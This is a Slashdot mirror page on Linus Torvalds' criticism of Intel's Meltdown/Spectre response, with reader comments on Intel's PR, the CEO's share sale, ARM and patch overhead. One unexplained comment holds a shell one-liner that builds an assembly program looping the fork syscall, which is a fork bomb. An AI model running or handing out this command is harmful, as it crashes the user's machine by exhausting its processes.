Slashdot Mirror
Linus Torvalds Says Intel Needs To Admit It Has Issues With CPUs (itwire.com)
troublemaker_23 shares an article from ITWire:
Linux creator Linus Torvalds has had some harsh words for Intel in the course of a discussion about patches for two bugs that were found to affect most of the company's processors... Torvalds was clearly unimpressed by Intel's bid to play down the crisis through its media statements, saying: "I think somebody inside of Intel needs to really take a long hard look at their CPUs, and actually admit that they have issues instead of writing PR blurbs that say that everything works as designed... Or is Intel basically saying 'we are committed to selling you shit forever and ever, and never fixing anything'?" he asked. "Because if that's the case, maybe we should start looking towards the ARM64 people more."
Elsewhere Linus told ZDNet that "there's no one number" for the performance drop users will experience after patches. "It will depend on your hardware and on your load. I think 5 percent for a load with a noticeable kernel component (e.g. a database) is roughly in the right ballpark. But if you do micro-benchmarks that really try to stress it, you might see double-digit performance degradation. A number of loads will spend almost all their time in user space, and not see much of an impact at all."
Elsewhere Linus told ZDNet that "there's no one number" for the performance drop users will experience after patches. "It will depend on your hardware and on your load. I think 5 percent for a load with a noticeable kernel component (e.g. a database) is roughly in the right ballpark. But if you do micro-benchmarks that really try to stress it, you might see double-digit performance degradation. A number of loads will spend almost all their time in user space, and not see much of an impact at all."
We clearly don't trust Intel ... why would we trust Chinese CPUs??
The kernel memory read issue was 90% a design decision to improve performance. I would argue that it should actually be an option in the BIOS. The fact the AMD didn't do this with zen to match Intel is what is really interesting. Intel did a little cheat to improve performance but AMD didn't and chose caution.
To me it's not a clear cut case if you brought a class action into court. The engineers cheated a bit but didn't think it would turn into such a security hole. I can just imagine the closing arguments... point is computers are complicated and not necessarily a guaranteed thing except that they can compute.
I don't think he craves attention; I think he's just a guy who speaks his mind, sometimes a little bit too much. With that said, I don't see why we need to publish so many of his brain dumps; there are many people with a way more valuable opinion on the subject, from a technical, legal or business perspective.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
ARM (and AMD) may be susceptible to the lesser of the two [evil] exploits... but the impact for that second one is considerably less than Meltdown (which is specific to Intel only). ARM has been very open and detailed with regards to the impact -- and gives every indication it is taking the issue seriously.
... 250,000 all at one time.... is also optically bad. I understand the need to diversify your investments, but he should only be selling at most 25% of his shares on an annual basis.
Intel on the other hand issued a totally bizarre PR spin. Trying to spin it as works as designed (which might be the case, but the design was flawed), trying to distract the public by using 'Look over there...' deflection technique. Then indicating that the earliest architectural change will be later this year (which by the way coincides with the beginning of the next generation release). Processors for one generation of chips tends to be phased in over a two year period - does this mean that they plan to continue selling defective CPUs for the next 2 and a half years?
On top of that the news that the [probably legal] sale share (after the news of the defect, but before it was made public) -- is at least optically horrible. An ethical CEO would have delayed the planned share sale until after the defect was public - and accepted the risk of holding onto the shares during that time. Not to mention selling 889,700 shares and keeping only the absolute minimum to remain CEO
This all put together indicates to me that the current CEO should be fired.
The patents on the original MIPS architecture have run out by now. And MIPS was both very similar to Alpha and very elegant.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
well, the right thing for intel to do IS to recall all CPUs for users that request it. also to NOT downplay the huuuge security issue that they have caused, in their race for corner-cutting. maybe to publish some test results for the patches, maybe open some specs that might help the devs in better patching this issue in software, maybe even dump some cash for the devs. These are just from the top of my head, but you get the picture. The whole fiasco was very badly handled by Intel.
And to be quite honest, that was not how I read Linus thing... Linus can be a wrap the contents of a valid issue in a bit of what some have termed a 'Hissy fit'/'tantrum'. The issue that he seems to have is not that there is a defect, not that it has to be patched in the kernel -- but that Intel's PR is on overdrive and gives no indication of taking responsibility... and not being open and transparent with regards to fixing it and timeline for those actions.
It is not the design / defect that I have lost respect for Intel, nor the technical competence of it's employees... My issue resides with the C-level's response to this defect that I have tot take issue with - and that is how I really read the email. ARM is not defect free, but the difference is that their response to it has been much more professional and transparent.
Being a software developer by trade, I am all to familiar that nothing is defect free... and defects are a part of the process.... the response and how these defects are handled is where you win or lose respect (assuming you are not totally incompetent and the software is not unusable).
> But in typical, Linus hissy-fit fashion he pivots to tangential claims, like how Intel will "sell shit forever" and "never fix anything".
Dude, you and I are seeing this NOW.
But some folks have been aware of that fact since some time, and no solution came up -- because this one is hard... hardware. The bubble just popped because Google decided enough is enough (not to mention this affects their business directly).
And what about the designers? What were they thinking? Don't they know about space separation? My guess is that is became hard to adhere to Moore's law curve and they had to cut some corners.
Linus is referring to the fact that such problems have not been not addressed nor fixed since years ago. He has worked with processors, he knows what he's saying -- he's not just a software guy.
I'd never use such colorful language as his, but this time it is totally justified -- not just because it's a serious problem, but because it seems Intel is totally blasé about it.
While ARM CPUs are relatively ubiquitous in smartphones and tablets, those devices aren't nearly as high-value of a target as servers, where Intel CPUs dominate (well over 90% of the market).
Linus is in a unique position - he is an engineer, almost 100% focused on technical solutions, yet he is also a public facing figure and is able to make public comments. He also (to the best of my knowledge) doesn't have to worry about customers, profits, shareholders, etc., things that a for-profit, publicly-traded company does. Most of the time, the engineers aren't the ones making public comments. I haven't heard from any Intel engineers yet, only their PR department, but I would guess the Intel engineers are just as interested in fixing this as he is, but we aren't hearing about it.
Or is Intel basically saying 'we are committed to selling you shit forever and ever, and never fixing anything'?" he asked. "Because if that's the case, maybe we should start looking towards the ARM64 people more."
Not sure how much Intel really cares about threats from the free Linux community - vs Microsoft, etc...
Out of touch much? Intel now derives a large and expanding portion of its revenue from Linux servers, versus the shrinking Wintel market. Intel cares every much about its image in the Linux community, it is very easy to drive devs away to ARM and AMD. Intel has done a respectable job of keeping that brain drain under control and anything else would just be suicidal.
When all you have is a hammer, every problem starts to look like a thumb.